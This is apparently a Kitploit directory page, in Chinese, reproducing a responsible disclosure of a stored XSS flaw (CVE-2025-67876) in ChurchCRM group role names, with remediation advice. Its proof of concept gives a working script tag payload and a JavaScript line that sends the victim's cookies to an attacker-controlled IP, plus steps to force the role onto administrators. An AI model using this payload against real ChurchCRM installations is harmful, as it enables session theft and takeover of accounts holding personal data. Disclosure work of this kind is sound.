Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-67876 — CVE-2025-67876 - ChurchCRM has Stored XSS in Group Role Name Leading to Admin Session Hijacking | Kitploit
工具/GitHubGitHub/lukasz-rybak/cve-2025-67876
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHublukasz-rybak/cve-2025-67876

CVE-2025-67876

CVE-2025-67876 - ChurchCRM has Stored XSS in Group Role Name Leading to Admin Session Hijacking

查看仓库
4个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-67876:ChurchCRM 群组角色名称存储型 XSS 导致管理员会话劫持

概述

字段详情
CVE IDCVE-2025-67876
严重性严重
安全公告查看安全公告
发现者Lukasz Rybak

受影响产品

  • ChurchCRM/CRM

详情

摘要

ChurchCRM 中存在存储型跨站脚本(XSS)漏洞,允许拥有“管理群组”权限的低权限用户在群组角色名称中注入持久化 JavaScript。该载荷保存在数据库中,当任何用户(包括管理员)访问显示该角色的页面(如 GroupView.php 或 PersonView.php)时,载荷即会执行。这可实现完全的会话劫持和账户接管。

详细说明

根本原因在于群组角色名称的处理过程中缺乏输入验证和输出编码。

在 GroupEditor.php 中编辑群组时,用户可以修改角色名称。应用程序未对输入进行净化处理(例如,没有使用 strip_tags、htmlspecialchars 或服务器端验证)。该值直接存储在 list_lst 数据库表中。

随后,存储的值未经转义便直接注入到 HTML 中:

  • 在 GroupView.php 中,群组角色出现在用 <span> 包裹的表格单元格内。
  • 在 PersonView.php 中,用户被分配的角色显示在“已分配群组”下。 由于未应用任何转义,存储在角色名称中的任何 HTML 或 JavaScript 都会在受害者的浏览器中执行。

因此,拥有“管理群组”权限的低权限用户可以通过在角色中注入 JavaScript 并将该角色分配给管理员,将权限提升为完全管理员。

PoC(概念验证)

阶段 1 - 攻击者设置

在攻击者控制的机器上创建 x.js:

fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));

提供该文件:

python3 -m http.server 800

阶段 2 - 注入 XSS 载荷

  1. 使用拥有“管理群组”权限的用户账户登录。

    图片
  2. 导航至: 群组 → 群组列表 → 选择任一群组 → 设置。

  3. 在“群组角色”部分,编辑现有角色或创建新角色。

  4. 插入恶意载荷:

"><script src=//172.20.0.1:800/x.js></script>

图片

在群组角色列表中,点击包含注入 XSS 载荷的角色旁边的“默认”按钮。 这可确保该恶意角色会自动分配给添加到该群组的所有用户,从而增加管理员在查看其个人资料时触发 XSS 的可能性。 图片 点击之前默认角色(通常为“成员”)旁边的“删除”按钮。 移除干净的默认角色将迫使系统对所有未来分配使用注入了 XSS 的角色,从而保证当受害者查看任何显示其分配角色的页面时触发执行。 图片

  1. 保存角色名称。 图片

阶段 3 - 将恶意角色分配给受害者

  1. 进入群组视图页面。

  2. 将任意用户添加为群组成员(例如,教会管理员)。

    图片
  3. 从下拉菜单选择恶意角色。

  4. 保存分配。

    图片

阶段 4 - XSS 执行

当受害者(管理员)访问以下页面时:

  • 其用户个人资料:PersonView.php

    图片
  • 群组视图页面:GroupView.php

存储的 JavaScript 立即执行。

在攻击者服务器上,将会出现传入请求: 图片

图片

这证实账户已被成功接管。

影响

  • 存储型 XSS
  • 完全的管理员会话劫持
  • 从低权限用户提升至完全系统管理员
  • 暴露 ChurchCRM 中存储的所有敏感个人数据

CWE(通用弱点枚举)

CWE-79:在网页生成过程中对输入进行不当的中和(“跨站脚本”)

建议

  • 对所有角色名称渲染实现输出编码(htmlspecialchars)。
  • 在服务器端验证和净化角色名称。
  • 检查其他基于列表的可编辑字段是否存在类似漏洞。
  • 考虑使用集中式转义库或模板引擎。

参考

  • https://github.com/ChurchCRM/CRM/security/advisories/GHSA-j9gv-26c7-3qrh

免责声明

本 CVE 遵循协调漏洞披露实践进行了负责任披露。此处提供的信息仅用于教育和防御目的。

下载工具